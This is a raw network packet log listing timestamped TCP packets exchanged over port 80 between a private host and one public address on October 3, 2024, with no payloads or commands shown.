Oct 3, 2024 05:02:57.854388952 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.854415894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.854423046 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.854439974 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.854455948 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.854473114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.854490042 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.854510069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.854521990 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.854537964 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.854556084 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.854571104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.854588985 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.854605913 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.854639053 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.855081081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.855114937 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.855146885 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.855151892 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.855171919 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.855180979 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.855206013 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.855214119 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.855226040 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.855247974 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.855268002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.855279922 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.855300903 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.855312109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.855329037 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.855345011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.855365038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.855377913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.855407953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.855432034 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.855443001 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.855464935 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.855487108 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.855499983 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.855516911 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.855532885 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.855550051 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.855585098 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.855978966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.856030941 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.856035948 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.856064081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.856084108 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.856096983 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.856112957 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.856129885 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.856148005 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.856163025 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.856182098 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.856195927 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.856218100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.856228113 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.856246948 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.856260061 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.856286049 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.856297016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.856314898 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.856331110 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.856350899 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.856364965 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.856391907 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.856396914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.856427908 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.856431007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.856447935 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.856462002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.856482983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.856496096 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.856511116 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.856549978 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.856903076 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.856937885 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.856964111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.856971979 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.856991053 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.857004881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.857027054 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.857037067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.857055902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.857070923 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.857094049 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.857103109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.857135057 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.857156038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.857167959 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.857196093 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.857201099 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.857218027 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.857233047 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.857255936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.857266903 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.857299089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.857300043 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.857322931 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.857346058 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.943218946 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.943314075 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.943368912 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.943435907 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.943433046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.943433046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.943433046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.943470001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.943502903 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.943504095 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.943526030 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.943537951 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.943556070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.943572998 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.943607092 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.943607092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.943629026 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.943659067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.943659067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.943692923 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.943715096 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.943726063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.943743944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.943759918 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.943783045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.943794012 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.943826914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.943833113 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.943860054 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.943861961 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.943880081 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.943892956 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.943919897 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.943927050 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.943986893 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.944171906 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.944205999 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.944228888 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.944230080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.944240093 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.944261074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.944294930 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.944331884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.944365978 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.944391012 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.944406986 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.944420099 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.944437027 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.944466114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.944483995 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.944488049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.944521904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.944540977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.944554090 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.944577932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.944586992 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.944600105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.944619894 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.944648981 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.944653988 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.944678068 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.944686890 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.944694996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.944720030 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.944741011 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.944755077 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.944772959 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.944816113 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.945271015 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.945302963 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.945327997 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.945336103 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.945350885 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.945370913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.945389986 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.945403099 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.945425987 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.945435047 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.945455074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.945468903 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.945482969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.945502043 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.945523977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.945534945 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.945559025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.945568085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.945595980 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.945600033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.945616007 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.945631981 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.945663929 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.945664883 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.945698023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.945700884 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.945723057 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.945732117 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.945753098 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.945787907 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.946219921 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.946253061 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.946278095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.946285963 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.946306944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.946320057 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.946335077 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.946352005 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.946369886 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.946386099 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.946405888 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.946419001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.946448088 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.946450949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.946466923 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.946484089 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.946501017 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.946517944 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.946538925 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.946548939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.946573973 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.946584940 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.946602106 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.946618080 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.946645975 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.946650982 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.946686029 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.946691036 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.946691036 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.946718931 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.946739912 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.946768999 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.947166920 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.947201967 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.947233915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.947266102 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.947298050 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.947331905 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.947364092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.947366953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.947417021 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.947422981 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.947451115 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.947474003 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.947484016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.947504997 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.947516918 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.947534084 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.947550058 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.947572947 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.947582006 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.947612047 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.947613001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.947642088 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.947647095 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.947659016 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.947698116 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.948122025 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.948157072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.948188066 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.948189974 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.948205948 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.948208094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.948225021 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.948241949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.948272943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.948285103 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.948306084 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.948323965 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.948338985 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.948359013 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.948389053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.948421955 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.948431015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.948455095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.948456049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.948472977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.948489904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.948522091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.948525906 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.948544025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.948570967 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.949054003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.949090004 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.949111938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.949121952 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.949148893 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.949156046 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.949167967 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.949188948 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.949207067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.949222088 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.949242115 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.949266911 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.949270010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.949301958 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.949326992 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.949331045 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.949357033 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.949364901 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.949377060 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.949398994 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.949419975 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.949433088 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.949449062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.949465036 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.949485064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.949496984 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.949512959 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.949532032 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.949548960 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.949552059 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.949592113 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.949620962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.949860096 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.949894905 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.949917078 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.949928045 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.949944973 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.950018883 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.950035095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.950078011 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.036092043 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036163092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036197901 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036231041 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036263943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036297083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036309004 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.036309004 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.036309004 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.036309004 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.036348104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036386967 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.036387920 CEST	49705	80	192.168.2.5	172.67.159.45
